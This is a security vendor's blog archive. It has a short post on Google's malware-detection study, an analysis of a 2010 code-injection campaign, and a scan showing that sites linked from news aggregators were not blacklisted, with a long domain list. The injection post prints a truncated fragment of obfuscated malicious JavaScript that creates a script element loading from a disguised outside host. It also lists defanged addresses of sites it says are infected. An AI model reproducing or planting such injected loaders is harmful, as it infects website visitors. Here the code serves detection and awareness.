stopthehacker.com » blacklisted websites

Google Acknowledges Challenges in Detecting Web-Malware

admin — Thu, 18 Aug 2011 21:15:29 +0000

Google announced today that the fight to detect web-based malware is far from over. The problem is growing and changing every day. Websites must be protected to prevent the spread of web-based malware.

From the Article

Google issued a new study on Wednesday detailing how it is becoming more difficult to identify malicious websites and attacks, with antivirus software proving to be an ineffective defense against new ones.

Read More: Google highlights trouble in detecting Web-based malware

How do I protect my site?
StopTheHacker.com customers are protected against these kind of threats. If you would like more information on how to protect your website, please feel free to contact us. You can also visit our services page to protect your website now.

Till next time…

Zero to 3000+ Infected Sites in Less Than 30 Minutes

anirban — Mon, 01 Mar 2010 19:00:48 +0000

Code injection attacks show no signs of abating. Everyday more than 6000 new websites are added to Google’s Safe Browsing List (blacklist). Hackers are compromising websites without the knowledge of the website owner to, in turn, infect website visitors.

Malicious hackers don’t care if the website they infect is a small mom and pop operation or a large e-business. They use automated “bots” in most cases, which will attack any and every website they can exploit. No website is off limits.

As an example of the rampant nature of this problem, we will show how we found over 3000 infected websites out of which only a small percentage seems to be blacklisted by current website reputation services. One of the most reliable reputation services, offered by Google, only managed to identify a small portion of the whole of the infected websites we mined using Google’s own search results. Identifying infected websites is not trivial.

We recently saw a strong rise in the appearance of the malicious code below:

this.v="";:LineMixer [var i=15492;var y=window;var  o='';var op='';
var a='s*c*r:iVpTt:'.replace(/[\:

TVJ\*]/g, '');var  yx=new Array();
var u='c*r*eja_tjeYE_lYe*mYebn*t_'.replace(/[_\*bjY]/g,  '');
var _=new Array();this.nt="";]var k;if(k!='dh' && k !=  '')
{k=null};y.onload=function(){var w;if(w!='' &&  w!='ns'){w=null};
try {this.n_=false;uh=document[u](a);var ow="";var  f="";
var xl=new String();var xf="xf";:LineMixer  [uh['s;rpcp'.replace(/[p;t6O]/g, '')]
='hHt4tVp4:5/V/4e4x4aHmViVnVe4

By searching for a small part of the above portion of this code on Google (shown below), we found a list of websites which harbor the above code. A simple mention of this code on the pages of a website does not necessarily imply that the website is bad. It could be that a website administrator was asking for clarification on help forum. However, a detailed (automated) examination is performed by our systems to remove any doubt.

this.v="";:LineMixer [var i=

Interestingly, only 5.7% of the 3000+ infected sites we found exploited with this code were blacklisted by Google. This highlights the fact that even reliable blacklists, like the Google’s Safe Browsing List are not complete.

Till next time.

We show a small sample of the 3000+ infected websites below:

hxxp://saipanlawyer.com/          (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://www.citydusk.com/          (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://de.pastebin.ca/1798028/    (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://www.hotel-ederhof.com/     (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)
hxxp://fast-weight-loss-plan.org/ (Not blacklisted, Mon Mar 1 10:19:34 PST 2010)

Do News Aggregation Websites Point to Blacklisted Sites?

anirban — Wed, 20 Jan 2010 00:40:34 +0000

News aggregation sites, like Digg.com, Reddit.com, Ycombinator and Yahoo Buzz play an important part in the lives of many web-surfers. It is reported that sites like Digg.com have garnered more visitors than heavyweights like Facebook [1].

I was recently asked: “What is the probability of a site listed on popular news aggregation sites to be blacklisted?” The answer to this question is not a very simple one. We understand that benign websites are often compromised by malicious code, sometimes due to application layer vulnerabilities or server side vulnerabilities or a combination of both. Good websites can even be compromised by simple password disclosure, or worse, a blatant nonchalant attitude towards security.

My instinct tells me that any site listed on these well known news aggregation sites, if infected, will be spotted rather quickly by some visitor to the “infected” website. If the webmaster is even half interested in the reputation of their site, they will take prompt action to remove the offending code as the number of visitors providing feedback would continue to grow. Thereby, even if a site listed on a news aggregation site were to be compromised I think it would be fixed up rather quickly.

In short I think the probability of finding an “infected” site listed on these news aggregation websites would be pretty low. To prove this, at StopTheHacker.com we conducted a small test. We analyzed around 1162 unique websites which were pointed to by one of the four news aggregation websites below:

We found that none of the analyzed 1162 sites were listed on Google’s Safe Browsing malware hash list as of January 19, 2010. This might be an indication of the fact that good content, interesting to the masses, is hosted on sites conscious about their security and the safety of their visitors. Given the state of Internet security today, this is one of few heartening trends.

Below we present the entire list of websites analyzed at each news aggregation site:


ycombinator  thetartan.org safe
ycombinator  googleblog.blogspot.com safe
ycombinator  wikipedia.org safe
ycombinator  nvie.com safe
ycombinator  helloform.com safe
ycombinator  uswaretech.com safe
ycombinator  okmij.org safe
ycombinator  sexywidget.com safe
ycombinator  avdi.org safe
ycombinator  googlesharing.net safe
ycombinator  uxbooth.com safe
ycombinator  ibiblio.org safe
ycombinator  cgrand.net safe
ycombinator  gafter.blogspot.com safe
ycombinator  mtnwestrubyconf.org safe
ycombinator  scientificamerican.com safe
ycombinator  protocolostomy.com safe
ycombinator  timesonline.co.uk safe
ycombinator  hplusmagazine.com safe
ycombinator  viennajs.org safe
ycombinator  bpython-interpreter.org safe
ycombinator  jarredbishop.tumblr.com safe
ycombinator  treehugger.com safe
ycombinator  open-lab.com safe
ycombinator  bitbucket.org safe
ycombinator  khanacademy.org safe
ycombinator  nytimes.com safe
ycombinator  visualswirl.com safe
ycombinator  guardian.co.uk safe
ycombinator  mixpanel.com safe
ycombinator  portfolio.com safe
ycombinator  microsoft.com safe
ycombinator  latimes.com safe
ycombinator  linux-mag.com safe
ycombinator  gapingvoid.com safe
ycombinator  dcs-media.com safe
ycombinator  calebelston.com safe
ycombinator  startable.com safe
ycombinator  taptaptap.com safe
ycombinator  merbist.com safe
ycombinator  hyperorg.com safe
ycombinator  volokh.com safe
ycombinator  toucharcade.com safe
ycombinator  iowacityaccess.com safe
ycombinator  krmmalik.posterous.com safe
ycombinator  dvice.com safe
ycombinator  wisc.edu safe
ycombinator  johngoulah.com safe
ycombinator  faqs.org safe
ycombinator  techflash.com safe
ycombinator  econlib.org safe
ycombinator  crenk.com safe
ycombinator  lightbluetouchpaper.org safe
ycombinator  mytechinterviews.com safe
ycombinator  nymag.com safe
ycombinator  sachinrekhi.com safe
ycombinator  androidandme.com safe
ycombinator  avc.com safe
ycombinator  arstechnica.com safe
ycombinator  fontfeed.com safe
ycombinator  gamedev.net safe
ycombinator  jmtame.posterous.com safe
ycombinator  internationalbs.wordpress.com safe
ycombinator  pocoo.org safe
ycombinator  eastbayexpress.com safe
ycombinator  catonmat.net safe
ycombinator  pegontech.wordpress.com safe
ycombinator  squeezedbooks.com safe
ycombinator  publicradio.org safe
ycombinator  independent.co.uk safe
ycombinator  scienceblogs.com safe
ycombinator  gamesfromwithin.com safe
ycombinator  savedelete.com safe
ycombinator  wiseheartdesign.com safe
ycombinator  yehudakatz.com safe
ycombinator  geek.com safe
ycombinator  harpers.org safe
ycombinator  jeppenejsum.wordpress.com safe
ycombinator  straightdope.com safe
ycombinator  bothsidesofthetable.com safe
ycombinator  krebsonsecurity.com safe
ycombinator  bbc.co.uk safe
ycombinator  forumsunlimited.com safe
ycombinator  dragosroua.com safe
ycombinator  nildram.co.uk safe
ycombinator  mnmlist.com safe
ycombinator  computerworlduk.com safe
ycombinator  autodidactic.com safe
ycombinator  businessinsider.com safe
ycombinator  sfgate.com safe
ycombinator  padolsey.com safe
ycombinator  technologizer.com safe
ycombinator  theregister.co.uk safe
ycombinator  misadigital.com safe
ycombinator  forbes.com safe
ycombinator  norvig.com safe
ycombinator  pcmag.com safe
ycombinator  omis.me safe
ycombinator  catamorphism.net safe
ycombinator  mac.com safe
ycombinator  moneyadvisor.com safe
ycombinator  washingtonpost.com safe
ycombinator  scottberkun.com safe
ycombinator  jacquesmattheij.com safe
ycombinator  dailymail.co.uk safe
ycombinator  ai-junkie.com safe
ycombinator  signonsandiego.com safe
ycombinator  apa.org safe
ycombinator  sourceforge.net safe
ycombinator  drawntosimplicity.com safe
ycombinator  boston.com safe
ycombinator  ft.com safe
ycombinator  reason.com safe
ycombinator  techcrunch.com safe
ycombinator  lifehacker.com safe
ycombinator  mprove.de safe
ycombinator  advogato.org safe
ycombinator  harvard.edu safe
ycombinator  bentilly.blogspot.com safe
ycombinator  clipperhouse.com safe
ycombinator  eaves4women.co.uk safe
ycombinator  inc.com safe
ycombinator  ignorethecode.net safe
ycombinator  johndcook.com safe
ycombinator  antipope.org safe
ycombinator  pr-inside.com safe
ycombinator  googlecode.com safe
ycombinator  techdrawl.com safe
ycombinator  youtube.com safe
ycombinator  tapsns.com safe
ycombinator  wsj.com safe
ycombinator  schneier.com safe
ycombinator  businessweek.com safe
ycombinator  payne.org safe
ycombinator  dbmsmusings.blogspot.com safe
ycombinator  codeproject.com safe
ycombinator  siliconprairienews.com safe
ycombinator  artima.com safe
ycombinator  feld.com safe
ycombinator  uspto.gov safe
ycombinator  gabrielweinberg.com safe
ycombinator  measuringmeasures.blogspot.com safe
ycombinator  lwn.net safe
ycombinator  york.ac.uk safe
ycombinator  fieggen.com safe
ycombinator  hivelogic.com safe
ycombinator  jonudell.net safe
ycombinator  reddit.com safe
ycombinator  thechromesource.com safe
ycombinator  asmartbear.com safe
ycombinator  albahari.com safe
ycombinator  replicatorinc.com safe
ycombinator  davidcancel.com safe
ycombinator  return7.com safe
ycombinator  justinpirie.com safe
ycombinator  shoptalkapp.com safe
ycombinator  mixergy.com safe
ycombinator  google.com safe
ycombinator  marcbelmont.com safe
ycombinator  chemspider.com safe
ycombinator  codinghorror.com safe
ycombinator  go-to-hellman.blogspot.com safe
reddit  sfgate.com safe
reddit  store.steampowered.com safe
reddit  gripernews.blogspot.com safe
reddit  spectrecom.co.uk safe
reddit  youtube.com safe
reddit  adamsbirthdaybomb.com safe
reddit  40kminiatures.com safe
reddit  hellforge.gameriot.com safe
reddit  liveleak.com safe
reddit  slate.com safe
reddit  news.bbc.co.uk safe
reddit  northwestnatureshop.com safe
reddit  dailykos.com safe
reddit  imadeapic.blogspot.com safe
reddit  technology.timesonline.co.uk safe
reddit  realtorgenius.com safe
reddit  expatica.com safe
reddit  kbb.com safe
reddit  crooksandliars.com safe
reddit  haiti.com safe
reddit  rawstory.com safe
reddit  theportablegamer.com safe
reddit  bravenewgamer.com safe
reddit  174.142.41.214 safe
reddit  i.imgur.com safe
reddit  voices.washingtonpost.com safe
reddit  eastbayexpress.com safe
reddit  wastedtalent.ca safe
reddit  entertainment.timesonline.co.uk safe
reddit  backwater-productions.net safe
reddit  unshave.me safe
reddit  timesonline.co.uk safe
reddit  techeblog.com safe
reddit  reddit.com safe
reddit  wirejacked.com safe
reddit  hulu.com safe
reddit  rlserver.com safe
reddit  turtlebay.foreignpolicy.com safe
reddit  theregister.co.uk safe
reddit  imgur.com safe
reddit  playonmove.com safe
reddit  haaretz.com safe
reddit  nytimes.com safe
reddit  greenrmedia.co.uk safe
reddit  usatoday.com safe
reddit  12.media.tumblr.com safe
reddit  blog.reddit.com safe
reddit  huffingtonpost.com safe
reddit  store.xkcd.com safe
reddit  images.tonyschreiber.com safe
reddit  maximumpc.com safe
reddit  latimes.com safe
reddit  news.yahoo.com safe
reddit  upload.wikimedia.org safe
reddit  johndcook.com safe
digg  googleblog.blogspot.com safe
digg  news.bbc.co.uk safe
digg  sdnn.com safe
digg  dailyfork.com safe
digg  knoxnews.com safe
digg  mediagallery.usatoday.com safe
digg  linuxologist.com safe
digg  latimesblogs.latimes.com safe
digg  newsjunkiepost.com safe
digg  michaelyon-online.com safe
digg  htcphones.net safe
digg  funnycrave.com safe
digg  robot6.comicbookresources.com safe
digg  weeklyworldnews.com safe
digg  rottentomatoes.com safe
digg  10news.com safe
digg  planetgreen.discovery.com safe
digg  lettersofnote.com safe
digg  m.apnews.com safe
digg  theatlantic.com safe
digg  area5.tv safe
digg  kontraband.com safe
digg  boingboing.net safe
digg  politico.com safe
digg  hollywoodinsider.ew.com safe
digg  probablybadnews.com safe
digg  blogs.villagevoice.com safe
digg  sphere.com safe
digg  macworld.co.uk safe
digg  english.pravda.ru safe
digg  thepuckdoctors.com safe
digg  dw-world.de safe
digg  motorauthority.com safe
digg  seattletimes.nwsource.com safe
digg  cnbc.com safe
digg  laughingsquid.com safe
digg  thisblogrules.com safe
digg  break.com safe
digg  fora.tv safe
digg  i-am-bored.com safe
digg  bustersports.com safe
digg  newteevee.com safe
digg  regretfulmorning.com safe
digg  flickr.com safe
digg  buffalonews.com safe
digg  nhl.fanhouse.com safe
digg  failblog.files.wordpress.com safe
digg  asset.soup.io safe
digg  damnlag.com safe
digg  epicwinftw.com safe
digg  apod.nasa.gov safe
digg  hd.engadget.com safe
digg  blogs.usatoday.com safe
digg  green.yahoo.com safe
digg  sfgate.com safe
digg  screenjunkies.com safe
digg  gamercenteronline.net safe
digg  joystickdivision.com safe
digg  stltoday.com safe
digg  chicagotribune.com safe
digg  nbcconnecticut.com safe
digg  appleinsider.com safe
digg  predators.fandome.com safe
digg  movieretriever.com safe
digg  techflash.com safe
digg  truthout.org safe
digg  photo.newsweek.com safe
digg  thenewecologist.com safe
digg  reelzchannel.com safe
digg  themomblog.freedomblogging.com safe
digg  blogs.discovermagazine.com safe
digg  nymag.com safe
digg  editorial.autos.msn.com safe
digg  nature.com safe
digg  oddlyspecific.com safe
digg  econsultancy.com safe
digg  thedailydust.co.uk safe
digg  in.news.yahoo.com safe
digg  prttyshttydesign.blogspot.com safe
digg  17.media.tumblr.com safe
digg  scifiwire.com safe
digg  blogs.findlaw.com safe
digg  photos.mlive.com safe
digg  fanhouse.com safe
digg  chicago.metromix.com safe
digg  galvnews.com safe
digg  zonersports.com safe
digg  gajitz.com safe
digg  ecopolitology.org safe
digg  rasmussen.edu safe
digg  foia.fbi.gov safe
digg  heraldsun.com.au safe
digg  welcometohr.com safe
digg  hollywoodlife.com safe
digg  singularityhub.com safe
digg  community.livejournal.com safe
digg  walletpop.com safe
digg  zeropaid.com safe
digg  jaunted.com safe
digg  todayifoundout.com safe
digg  imgbit.com safe
digg  popularmechanics.com safe
digg  dailytelegraph.com.au safe
digg  pitch.com safe
digg  pictureisunrelated.com safe
digg  futurity.org safe
digg  nbcnewyork.com safe
digg  rollingstone.com safe
digg  nba.fanhouse.com safe
digg  spiegel.de safe
digg  news.nationalgeographic.com safe
digg  abstrusegoose.com safe
digg  graphicmania.net safe
digg  cosmiclog.msnbc.msn.com safe
digg  webdesignledger.com safe
digg  streetlevel.com safe
digg  drawingboard.smackjeeves.com safe
digg  filmschoolrejects.com safe
digg  blog.ted.com safe
digg  leesandlin.com safe
digg  cxo.eu.com safe
digg  skateboardingmagazine.com safe
digg  network.nationalpost.com safe
digg  forbes.com safe
digg  tmz.com safe
digg  more.com safe
digg  timescall.com safe
digg  gas2.org safe
digg  shreveporttimes.com safe
digg  video.ign.com safe
digg  houstonpress.com safe
digg  asylum.co.uk safe
digg  img6.imageshack.us safe
digg  collegesurfing.com safe
digg  thezaz.nationallampoon.com safe
digg  maps.google.co.uk safe
digg  stevenchorney.com safe
digg  dailymail.co.uk safe
digg  thelocal.de safe
digg  img13.imageshack.us safe
digg  nbcchicago.com safe
digg  pcworld.com safe
digg  ethicalhacker.net safe
digg  tokeofthetown.com safe
digg  cbsnews.com safe
digg  firstread.msnbc.msn.com safe
digg  rivals.yahoo.com safe
digg  vimeo.com safe
digg  onlineeducation.net safe
digg  thedailygreen.com safe
digg  empireonline.com safe
digg  hulu.com safe
digg  i229.photobucket.com safe
digg  reason.com safe
digg  bbc.co.uk safe
digg  zuzutop.com safe
digg  blogs.techrepublic.com.com safe
digg  wxix.com safe
digg  latinoreview.com safe
digg  backporch.fanhouse.com safe
digg  tuaw.com safe
digg  quickpwn.com safe
digg  9to5mac.com safe
digg  gamingahead.com safe
digg  lemondrop.com safe
digg  nj.com safe
digg  variety.com safe
digg  xboxlive.ign.com safe
digg  19.media.tumblr.com safe
digg  nbcmiami.com safe
digg  askmen.com safe
digg  deadspin.com safe
digg  sfist.com safe
digg  greenerbuildings.com safe
digg  neoseeker.com safe
digg  nhl.com safe
digg  slate.com safe
digg  details.com safe
digg  img.thesun.co.uk safe
digg  fark.com safe
digg  daringfireball.net safe
digg  xbox360.ign.com safe
digg  fbi.gov safe
digg  metacafe.com safe
digg  therumpus.net safe
digg  dailygalaxy.com safe
digg  thechive.files.wordpress.com safe
digg  i46.tinypic.com safe
digg  rawstory.com safe
digg  comedycentral.com safe
digg  revision3.com safe
digg  flicksided.com safe
digg  airforcetimes.com safe
digg  movies.ign.com safe
digg  smashingapps.com safe
digg  complex.com safe
digg  inhabitots.com safe
digg  smbc-comics.com safe
digg  anandtech.com safe
digg  rdmag.com safe
digg  etiole.com safe
digg  darkreading.com safe
digg  overpill.com safe
digg  boredpanda.com safe
digg  consumerist.com safe
digg  denverpost.com safe
digg  switched.com safe
digg  .whdh.com safe
digg  blogs.wsj.com safe
digg  theregister.co.uk safe
digg  accuweather.com safe
digg  cinemablend.com safe
digg  popeater.com safe
digg  kmov.com safe
digg  dyscario.com safe
digg  farm3.static.flickr.com safe
digg  holytaco.com safe
digg  blogs.sfweekly.com safe
digg  epiccarnival.com safe
digg  tripbase.com safe
digg  pidjin.net safe
digg  chicagosmma.com safe
digg  articles.latimes.com safe
digg  indyweek.com safe
digg  awkwardfamilyphotos.com safe
digg  kiplinger.com safe
digg  downloadsquad.com safe
digg  travelet.com safe
digg  bnl.gov safe
digg  becks.com safe
digg  mediadecoder.blogs.nytimes.com safe
digg  womansday.com safe
digg  gnews.com safe
digg  sync-blog.com safe
digg  content.usatoday.com safe
digg  funnyordie.co.uk safe
digg  subwayfreshbuzz.mtviggy.com safe
digg  abclocal.go.com safe
digg  fanboy.com safe
digg  technologyreview.com safe
digg  babelgum.com safe
digg  lamebook.com safe
digg  videos.mediaite.com safe
digg  nypost.com safe
digg  livescience.com safe
digg  articles.sun-sentinel.com safe
digg  web.mit.edu safe
digg  thescottishsun.co.uk safe
digg  thestreet.com safe
digg  triplepundit.com safe
digg  sharenator.org safe
digg  thepigskindoctors.com safe
digg  mcclatchydc.com safe
digg  nbcsandiego.com safe
digg  blog.al.com safe
digg  thecagedoctors.com safe
digg  .voanews.com safe
digg  makeuseof.com safe
digg  movieline.com safe
digg  scientificamerican.com safe
digg  uk.reuters.com safe
digg  leftlanenews.com safe
digg  ismashphone.com safe
digg  totalprosports.com safe
digg  walyou.com safe
digg  breitbart.tv safe
digg  thereifixedit.com safe
digg  miamiherald.com safe
digg  pelfusion.com safe
digg  gigaom.com safe
digg  tpmmuckraker.talkingpointsmemo… safe
digg  corporate.discovery.com safe
digg  blog.wolfire.com safe
digg  engadget.com safe
digg  adanx.com safe
digg  guardian.co.uk safe
digg  newser.com safe
digg  physicsworld.com safe
digg  portfolio.com safe
digg  greenerdesign.com safe
digg  valetmag.com safe
digg  kotaku.com safe
digg  creativefan.com safe
digg  gizmodo.com safe
digg  sloshspot.com safe
digg  weirdworm.com safe
digg  wonkette.com safe
digg  inteldaily.com safe
digg  asinglesheetofpaper.weebly.com safe
digg  mensfitness.com safe
digg  olympic.org safe
digg  thedoghousediaries.com safe
digg  fiveprime.org safe
digg  madatoms.com safe
digg  firstpersontetris.com safe
digg  gamasutra.com safe
digg  politicsdaily.com safe
digg  movies.yahoo.com safe
digg  cracked.com safe
digg  i.telegraph.co.uk safe
digg  tpmdc.talkingpointsmemo.com safe
digg  commentarymagazine.com safe
digg  news.stanford.edu safe
digg  arstechnica.com safe
digg  moviefill.com safe
digg  koreatimes.co.kr safe
digg  thehoopdoctors.com safe
digg  mtv.com safe
digg  blackbookmag.com safe
digg  cleantechnica.com safe
digg  timessquarenyc.org safe
digg  bits.blogs.nytimes.com safe
digg  playedonline.com safe
digg  blogs.myspace.com safe
digg  elle.com safe
digg  scienceblogs.com safe
digg  courier-journal.com safe
digg  img29.yfrog.com safe
digg  time.com safe
digg  life.com safe
digg  firstshowing.net safe
digg  bme.eu.com safe
digg  viceland.com safe
digg  andrewsullivan.theatlantic.com safe
digg  upi.com safe
digg  news.sky.com safe
digg  greenlivingideas.com safe
digg  blogs.houstonpress.com safe
digg  oregonwomensreport.com safe
digg  blogs.miaminewtimes.com safe
digg  weburbanist.com safe
digg  upload.wikimedia.org safe
digg  thedailymaverick.co.za safe
digg  ccinsider.comedycentral.com safe
digg  gammasquad.uproxx.com safe
digg  hgtvpro.com safe
digg  abc2news.com safe
digg  heatvisionblog.com safe
digg  hailmaryjane.com safe
digg  bismarcktribune.com safe
digg  spike.com safe
digg  golberz.com safe
digg  insidemovies.moviefone.com safe
digg  kens5.com safe
digg  thisisphotobomb.com safe
digg  fansided.com safe
digg  mediaite.com safe
digg  newsonjapan.com safe
digg  maneggs.com safe
digg  neurope.eu safe
digg  nextround.net safe
digg  cairns.com.au safe
digg  anl.gov safe
digg  globalsportsfraternity.com safe
digg  bitstream.soundandvisionmag.co… safe
digg  crispygamer.com safe
digg  blogisimo.info safe
digg  runleiarun.com safe
digg  riskybusiness.blogs.thr.com safe
digg  eatingtheroad.wordpress.com safe
digg  topcultured.com safe
digg  digitaltrends.com safe
digg  mashable.com safe
digg  azcentral.com safe
digg  gamesradar.com safe
digg  geekdo.com safe
digg  thesmokinggun.com safe
digg  joystiq.com safe
digg  adultswim.com safe
digg  animals.howstuffworks.com safe
digg  ps3.ign.com safe
digg  insidetv.aol.com safe
digg  radaronline.com safe
digg  nbcwashington.com safe
digg  blog.koldcast.tv safe
digg  snuzzy.com safe
digg  nintendoeverything.com safe
digg  finance.yahoo.com safe
digg  shacknews.com safe
digg  blog.mpora.com safe
digg  twitvid.com safe
digg  tonightshowwithconanobrien… safe
digg  nydailynews.com safe
digg  esquire.com safe
digg  digitaldaily.allthingsd.com safe
digg  sciencedaily.com safe
digg  maximumpc.com safe
digg  living.health.com safe
digg  articles.orlandosentinel.com safe
digg  macworld.com safe
digg  blogs.reuters.com safe
digg  dogblog.dogster.com safe
digg  fastcompany.com safe
digg  crystalkiss.com safe
digg  gadgets.gunaxin.com safe
digg  video.mpora.com safe
digg  breitbart.com safe
digg  scitechbits.com safe
digg  nerve.com safe
digg  media.gunaxin.com safe
digg  computerworld.com safe
digg  nfl.com safe
digg  chron.com safe
digg  washingtonexaminer.com safe
digg  manolith.com safe
digg  forkparty.com safe
digg  decodedstuff.com safe
digg  entertonement.com safe
digg  greendiary.com safe
digg  maxim.com safe
digg  sports.yahoo.com safe
digg  truthdig.com safe
digg  msnbc.msn.com safe
digg  corporatecomplianceinsight… safe
digg  climatebiz.com safe
digg  metro.co.uk safe
digg  volenet.cz safe
digg  euinfrastructure.com safe
digg  thewrap.com safe
digg  thedesigninspiration.com safe
digg  blogs.browardpalmbeach.com safe
digg  my.opera.com safe
digg  ornl.gov safe
digg  apnews.myway.com safe
digg  urlesque.com safe
digg  generalhilarity.com safe
digg  blogs.nasa.gov safe
digg  oregonlive.com safe
digg  beforeitsnews.com safe
digg  bizjournals.com safe
digg  airspacemag.com safe
digg  techradar.com safe
digg  filmdrunk.uproxx.com safe
digg  sneakmove.com safe
digg  hardocp.com safe
digg  blogs.static.mentalfloss.com safe
digg  csmonitor.com safe
digg  codeninja.de safe
digg  spaceweather.com safe
digg  miaminewtimes.com safe
digg  random-domain.com safe
digg  geekwithlaptop.com safe
digg  sportsillustrated.cnn.com safe
digg  totalfilm.com safe
digg  prefixmag.com safe
digg  economist.com safe
digg  slon.im safe
digg  designora.com safe
digg  mobile.engadget.com safe
digg  suntimes.com safe
digg  swissinfo.ch safe
digg  theoatmeal.com safe
digg  ic2.pbase.com safe
digg  news.softpedia.com safe
digg  money.cnn.com safe
digg  washingtonindependent.com safe
digg  oncars.com safe
digg  hothardware.com safe
digg  destructoid.com safe
digg  unathleticmag.com safe
digg  nasdaq.com safe
digg  greencarreports.com safe
digg  progressivenation.us safe
digg  wbir.com safe
digg  gamepro.com safe
digg  3.media.tumblr.com safe
digg  blog.makezine.com safe
digg  maclife.com safe
digg  conceptispuzzles.com safe
digg  lakers.fandome.com safe
digg  templates.com safe
digg  eonline.com safe
digg  mediamatters.org safe
digg  adage.com safe
digg  standardmadness.com safe
digg  walmartwatch.com safe
digg  asylum.com safe
digg  movies.popcrunch.com safe
digg  blogs.computerworld.com safe
digg  abcnews.go.com safe
digg  wenatcheeworld.com safe
digg  newscientist.com safe
digg  cnn.com safe
digg  nbclosangeles.com safe
digg  alertnet.org safe
digg  freakoutnation.com safe
digg  sixrevisions.com safe
digg  baconorbeercan.com safe
digg  bumpworthy.com safe
digg  helthylife.tumblr.com safe
digg  nytimes.com safe
digg  dailyfinance.com safe
digg  mademan.com safe
digg  buccaneers.fandome.com safe
digg  maniacworld.com safe
digg  us.cnn.com safe
digg  howto.wired.com safe
digg  bioedonline.org safe
digg  fandome.com safe
digg  basicinstructions.net safe
digg  imagebath.com safe
digg  eurekalert.org safe
digg  nationalpost.com safe
digg  coolvibe.com safe
digg  dallasnews.com safe
digg  rd.com safe
digg  blogs.phoenixnewtimes.com safe
digg  nerdbeach.com safe
digg  billshrink.com safe
digg  gq.com safe
digg  actinglikeanimals.com safe
digg  health.com safe
digg  planetsave.com safe
digg  hotjobs.yahoo.com safe
digg  blogs.denverpost.com safe
digg  yepyep.gibbs12.com safe
digg  redmeat.com safe
digg  hollywood.com safe
digg  ngm.nationalgeographic.com safe
digg  gawker.com safe
digg  covers.com safe
digg  jaytest.posterous.com safe
digg  travel.aol.com safe
digg  notqualifiedtocomment.com safe
digg  photo.mpora.com safe
digg  thegamereviews.com safe
digg  betanews.com safe
digg  thestar.com safe
digg  designswan.com safe
digg  sports.espn.go.com safe
digg  knucklesunited.com safe
digg  pic100.picturetrail.com safe
digg  brainz.org safe
digg  hosted.ap.org safe
digg  dailyfill.com safe
digg  sportsuntapped.com safe
digg  abc.net.au safe
digg  thenation.com safe
digg  humor.gunaxin.com safe
digg  cbs4denver.com safe
digg  sacbee.com safe
digg  blogs.citypages.com safe
digg  physorg.com safe
digg  praetorianprefect.com safe
digg  hollywoodreporter.com safe
digg  bleacherreport.com safe
digg  thisishardcore.weebly.com safe
digg  pueblo.gsa.gov safe
digg  northjersey.com safe
digg  thinkprogress.org safe
digg  ca.news.yahoo.com safe
digg  ca.sports.yahoo.com safe
digg  ww.npr.org safe
digg  io9.com safe
digg  gamespy.com safe
digg  smallbusiness.aol.com safe
digg  okgo.forumsunlimited.com safe
digg  antwrp.gsfc.nasa.gov safe
digg  worstpreviews.com safe
digg  theweek.com safe
digg  limelife.com safe
digg  ifc.com safe
digg  comicsalliance.com safe
digg  questionablecontent.net safe
digg  businessinsider.com safe
digg  pvrblog.com safe
digg  voices.washingtonpost.com safe
digg  web.me.com safe
digg  amw.com safe
digg  eirikso.com safe
digg  climategate.com safe
digg  fitsnews.com safe
digg  thedailybeast.com safe
digg  glasstire.com safe
digg  focus.com safe
digg  starnewsonline.com safe
digg  realclearpolitics.blogs.time.c… safe
digg  c0278592.cdn.cloudfiles.racksp… safe
digg  ncaafootball.fanhouse.com safe
digg  pcmag.com safe
digg  autoblog.com safe
digg  talkingsides.com safe
digg  fortunewatch.com safe
digg  nfl.fanhouse.com safe
digg  youtube.com safe
digg  khou.com safe
digg  newsweek.washingtonpost.com safe
digg  indecisionforever.com safe
digg  wired.com safe
digg  space.com safe
digg  homeqn.com safe
digg  uk.news.yahoo.com safe
digg  telegraph.co.uk safe
digg  pbs.org safe
digg  blog.flickr.net safe
digg  blogs.laweekly.com safe
digg  reuters.com safe
digg  izismile.com safe
digg  itbusinessedge.com safe
digg  ca.video.yahoo.com safe
digg  boston.com safe
digg  philly.com safe
digg  mobile.venturebeat.com safe
digg  technology.globalthoughtz.com safe
digg  lifehacker.com safe
digg  visualeconomics.com safe
digg  mint.com safe
digg  inc.com safe
digg  npr.org safe
digg  warmingglow.uproxx.com safe
digg  surfingmagazine.com safe
digg  edition.cnn.com safe
digg  ravens.fandome.com safe
digg  af.reuters.com safe
digg  theonion.com safe
digg  schneier.com safe
digg  philadelphiaeagles.com safe
digg  coedmagazine.com safe
digg  urbanprankster.com safe
digg  1up.com safe
digg  tv.repubblica.it safe
digg  sun-sentinel.com safe
digg  businesspundit.com safe
digg  soccernet.espn.go.com safe
digg  businessweek.com safe
digg  myconfinedspace.com safe
digg  newsweek.com safe
digg  kevinrose.com safe
digg  jalopnik.com safe
digg  bloomberg.com safe
digg  boricuaboxing.com safe
digg  blogs.riverfronttimes.com safe
digg  bostonherald.com safe
digg  theinsider.com safe
digg  wftv.com safe
digg  thesun.co.uk safe
digg  nsfwshow.com safe
digg  popsci.com safe
digg  imgsrc.hubblesite.org safe
digg  kokugamer.com safe
digg  testfreaks.com safe
digg  revivl.com safe
digg  kktv.com safe
digg  tsn.ca safe
digg  politicalticker.blogs.cnn.com safe
digg  thrfeed.com safe
digg  citypages.com safe
digg  mentalfloss.com safe
digg  ign.com safe
digg  nrc.nl safe
digg  avpgalaxy.net safe
digg  cleveland.com safe
digg  digitalbattle.com safe
digg  theage.com.au safe
digg  elistmania.com safe
digg  replayphotos.com safe
digg  mail.com safe
digg  astro.berkeley.edu safe
digg  logoblog.org safe
digg  google.com safe
digg  alternet.org safe
digg  walletpop.co.uk safe
digg  bills.fandome.com safe
digg  scientificcomputing.com safe
digg  pogo.org safe
digg  learningubuntu.com safe
digg  midwestsportsfans.com safe
digg  deadline.com safe
digg  cbs13.com safe
digg  tgdaily.com safe
digg  goodcleantech.com safe
digg  capecodonline.com safe
digg  washingtontimes.com safe
digg  bloggingstocks.com safe
digg  truecrimereport.com safe
digg  nitrobahn.com safe
digg  pc.ign.com safe
digg  guyism.com safe
digg  designunder.com safe
digg  greenbiz.com safe
digg  liveleak.com safe
digg  thatvideosite.com safe
digg  egotvonline.com safe
digg  ted.com safe
digg  au.news.yahoo.com safe
digg  collegehumor.com safe
digg  caranddriver.com safe
digg  mlb.mlb.com safe
digg  digital.venturebeat.com safe
digg  blogs.seattleweekly.com safe
digg  huffingtonpost.com safe
digg  irishtimes.com safe
